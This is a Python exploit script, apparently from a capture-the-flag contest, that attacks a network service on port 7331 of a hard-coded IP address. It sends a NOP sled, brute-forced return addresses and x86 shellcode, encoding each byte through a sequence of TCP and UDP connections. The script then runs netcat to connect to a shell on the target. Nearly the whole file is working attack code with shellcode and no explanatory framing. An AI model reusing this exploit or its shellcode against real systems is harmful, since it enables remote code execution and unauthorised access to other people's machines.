#!/usr/bin/env python
import socket
import time
import struct
import random
import sys
import os
g_startaddr = 0xbfbfec40
g_ip = 217
g_target = '141.223.175.253'
g_sleep = 0.05
def genbyte(a):
return (int (random.random()*(65536 - 1024) + 1024) & 0xFF00 ) + a
def go_exploit(addr, debug=False):
# bind shellcode (port = 0xAAAA)
global g_ip, g_target, g_sleep
shc="\xb0\x06\x0f\xb6\xc0\x50\x31\xc0\x40\x50\x40\x50\x31\xc0\x50"
shc=shc+"\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x50\x50\x68\x10\x02\xaa"
shc=shc+"\xaa\x89\xe3\xb0\x10\x50\x53\x56\x56\xb0\x68\xcd\x80\x5e\x31"
shc=shc+"\xc0\x40\x50\x56\x56\xb0\x6a\xcd\x80\x5e\x31\xc0\x50\x50\x56"
shc=shc+"\x56\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x5b\x50\x50\x53\x53\xb0"
shc=shc+"\x05\xcd\x80\x89\xc2\x89\xe1\x66\xb9\x01\x01\x31\xc0\xb0\xff"
shc=shc+"\x50\x51\x52\x52\xb0\x03\xcd\x80\x89\xc2\x31\xc0\xb0\xff\x50"
shc=shc+"\x51\x57\x50\xb0\x04\xcd\x80\xe8\xce\xff\xff\xff\x6b\x65\x79"
shc=shc+"\x00"
g_buf = "\x90" * 40 + struct.pack("<I", addr) + "\x90"*100 + shc + "\x0a"
g_phase = [0,]
g_local_port = []
g_remote_port = []
g_listen_port = []
g_senddata = []
for i in range(len(g_buf)):
g_phase.append(ord(g_buf[i]) & 0x3)
g_remote_port.append(0)
g_local_port.append(0)
g_listen_port.append(0)
g_senddata.append(0)
cnt = 0
for i in range(len(g_buf)):
ch = ord(g_buf[i])
if i==0:
g_local_port[i] = genbyte(ch)
g_senddata[i] = genbyte(ch+1)
else:
if g_phase[i] == 0 or g_phase[i] == 1:
g_local_port[i] = genbyte(ch)
g_senddata[i] = genbyte(ch+1)
if g_senddata[i] == g_senddata[i-1]:
if cnt == 0:
cnt = 1
g_senddata[i] += 0x100
else:
cnt = 0
g_senddata[i] -= 0x100
g_remote_port[i] = g_senddata[i-1]
if g_phase[i] == 2 or g_phase[i] == 3:
g_listen_port[i] = g_senddata[i-1]
g_senddata[i] = genbyte(ch)
if (g_listen_port[i] == g_senddata[i]):
if cnt == 0:
cnt = 1
g_senddata[i] += 0x100
else:
cnt = 0
g_senddata[i] -= 0x100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', g_local_port[0]))
s.connect((g_target, 7331))
nextsock = None
nextsocktype = None
if debug:
print "Attack strategy ======================================="
print "phase(data), local port, remote port, listen port, send data"
for i in range(len(g_buf)):
print "[%3d] %d(%02x) - %04x, %04x, %04x, %04x"%(i,g_phase[i], ord(g_buf[i]), g_local_port[i], g_remote_port[i], g_listen_port[i], g_senddata[i])
print "\n\nAttack started ======================================="
for i in range(len(g_buf)):
if debug : print " ((( %d )))" % i
if i+1<len(g_buf): #prepare next attack
if (g_phase[i+1]==2):
if debug : print "preparing phase 2 - listen from %d tcp" % g_listen_port[i+1]
nextsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
nextsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
nextsock.bind(('0.0.0.0', g_listen_port[i+1]))
nextsock.listen(5)
nextsocktype = "tcp"
if (g_phase[i+1]==3):
if debug : print "preparing phase 3 - listen from %d udp" % g_listen_port[i+1]
nextsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
nextsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
nextsock.bind(('0.0.0.0', g_listen_port[i+1]))
nextsocktype = "udp"
if i!=0:
if debug : print "nowsocktype = %s" % nowsocktype
if g_phase[i]==0:
if debug : print "phase 0 - connecting to %d via tcp" % g_remote_port[i]
mys = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mys.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
mys.bind(('0.0.0.0', g_local_port[i] ))
time.sleep(g_sleep)
mys.connect((g_target, g_remote_port[i]))
mys.send(struct.pack(">H", g_senddata[i]))
mys.send(struct.pack(">B", g_ip))
mys.close()
elif g_phase[i]==1:
if debug : print "phase 1 - sending to %d via udp" % g_remote_port[i]
mys = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
mys.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
mys.bind(('0.0.0.0', g_local_port[i]))
time.sleep(0.1)
mys.sendto(struct.pack(">H",g_senddata[i])+struct.pack(">B", g_ip), (g_target, g_remote_port[i]))
mys.close()
elif g_phase[i]==2:
if debug : print "phase 2 - listening from %d via tcp" % g_listen_port[i]
(cls, addr)=nowsock.accept()
nowsock.close()
cls.send(struct.pack(">H", g_senddata[i])+struct.pack(">B", g_ip))
cls.close()
elif g_phase[i]==3:
if debug : print "phase 3 - listening from %d via udp" % g_listen_port[i]
(data, addr)=nowsock.recvfrom(4)
(target, port) = addr
nowsock.sendto(struct.pack(">H",g_senddata[i])+struct.pack(">B", g_ip), (g_target, port))
nowsock.close()
else:
if debug :
print "initial"
sys.stdin.readline()
s.send(struct.pack(">H", g_senddata[i]))
s.send(struct.pack(">B", g_ip))
nowsock = nextsock
nowsocktype = nextsocktype
addr=g_startaddr
while True:
print "Trying %08x" % addr
addr += 16
while True:
try:
go_exploit(addr, True)
break
except socket.error:
pass
print "Spawning shell.......... addr = %08x\n\n" % addr
os.system("nc %s %d" % (g_target, 0xAAAA))